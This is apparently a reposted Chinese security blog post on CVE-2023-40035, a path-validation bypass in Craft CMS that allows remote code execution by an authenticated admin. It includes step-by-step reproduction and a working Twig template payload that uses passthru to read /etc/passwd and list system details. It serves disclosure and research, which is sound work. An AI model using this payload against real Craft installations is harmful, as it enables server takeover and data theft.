CVE-2023-40035:国外CraftCMS后台命令执行 附复现过程

admin 2023年8月25日00:21:16评论50 views字数 1082阅读3分36秒阅读模式

简介

Craft 是国外一种灵活、用户友好的 CMS,用于在网络及其他领域创建自定义数字体验。

开发语言:PHP开发框架:Yii 2.x官方网址:https://craftcms.com/源码信息:https://github.com/craftcms/cms

CVE-2023-40035:国外CraftCMS后台命令执行 附复现过程

漏洞描述

Craft 是一款用于在网络及其他领域创建自定义数字体验的 CMS。绕过 validatePath 函数可能会导致潜在的远程代码执行。此漏洞可能导致对易受攻击的系统进行恶意控制和数据泄露。尽管该漏洞仅在经过身份验证的用户(配置为 ALLOW_ADMIN_CHANGES=true)中可被利用,但仍然存在潜在的安全威胁(远程执行代码)。

影响版本

4.0.0-RC1craftcms ≤  4.4.143.0.0craftcms ≤ 3.8.14

空间测绘

回复“CVE-2023-40035”获取空间测绘搜索语句

漏洞利用

漏洞需要配置文件中的“ALLOW_ADMIN_CHANGES”为“true”时才能利用,默认为开启状态

CVE-2023-40035:国外CraftCMS后台命令执行 附复现过程

1.点击“Settings”,新建一个Filesystems”,“Base Path”添加以下内容:

file:///var/www/html/templates

CVE-2023-40035:国外CraftCMS后台命令执行 附复现过程

2.点击“Settings”,新建一个“Assets”,“Asset Filesystem”选择刚刚新建的“local_bypass”

CVE-2023-40035:国外CraftCMS后台命令执行 附复现过程

3.点击“Assets”,然后点击“local_bypass”,上传“poc.ttml”,“poc.ttml”内容如下:

{{'<pre>'}}{{1337*1337}}{{['cat /etc/passwd']|map('passthru')|join}}{{['id;pwd;ls -altr /']|map('passthru')|join}}

CVE-2023-40035:国外CraftCMS后台命令执行 附复现过程

4.点击“Settins”,然后点击“New route”新建一个路由,“URI”设置“*”,“Template”设置“poc.ttml”

CVE-2023-40035:国外CraftCMS后台命令执行 附复现过程

5.访问随便一个路由执行命令

http://testcms.ddev.site/123

CVE-2023-40035:国外CraftCMS后台命令执行 附复现过程

参考链接

https://craftcms.com/https://github.com/craftcms/cms/https://nvd.nist.gov/vuln/detail/CVE-2023-40035https://github.com/craftcms/cms/security/advisories/GHSA-44wr-rmwq-3phw

原文始发于微信公众号(不够安全):CVE-2023-40035:国外CraftCMS后台命令执行 附复现过程

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月25日00:21:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2023-40035:国外CraftCMS后台命令执行 附复现过程https://cn-sec.com/archives/1977180.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息